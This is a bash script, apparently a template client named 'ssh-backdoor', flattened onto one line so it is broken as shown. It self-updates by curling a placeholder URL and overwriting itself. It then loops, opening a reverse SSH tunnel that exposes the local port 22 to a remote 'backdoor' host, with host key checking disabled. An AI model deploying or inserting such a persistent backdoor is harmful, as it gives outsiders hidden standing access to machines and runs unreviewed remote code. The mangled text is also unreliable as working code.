#!/bin/bash export PATH=$PATH:/usr/local/bin if [[ "$1" = update ]]; then set -e curl --fail {{BACKDOORURL}} > /tmp/ssh-backdoor-open && { mv -v /tmp/ssh-backdoor-open "$0" chmod +x "$0" #~ exec "$0" exit } fi _ssh() { trap 'kill -INT -$sshpid; exit;' INT timeout -k 10 3700 ssh \ -o UserKnownHostsFile=/dev/null \ -o StrictHostKeyChecking=no \ -o ConnectTimeout=10 \ -o ServerAliveInterval=15 \ -o ServerAliveCountMax=3 \ -p ${BACKDOORPORT} \ ${BACKDOORHOST} \ "$@" & sshpid=$! wait $sshpid #~ -o "ExitOnForwardFailure yes" \ } BACKDOORHOST={{BACKDOORHOST}} BACKDOORPORT={{BACKDOORPORT}} USER=$( id -u -n ) echo "Must use ssh agent (ssh-add)" while true; do port=$( _ssh bin/ssh-backdoor open $USER@$HOSTNAME ) [[ -z "$port" ]] && { sleep 2; continue; } echo "$port port assigned" #~ _ssh pkill -a -f $USER@$HOSTNAME _ssh \ -R $port:localhost:22 \ bin/ssh-backdoor keep $USER@$HOSTNAME || { true # failed #_ssh bin/ssh-kill $USER@$HOSTNAME $port || true } for i in {1..10}; do sleep 1 printf " $i\r" done done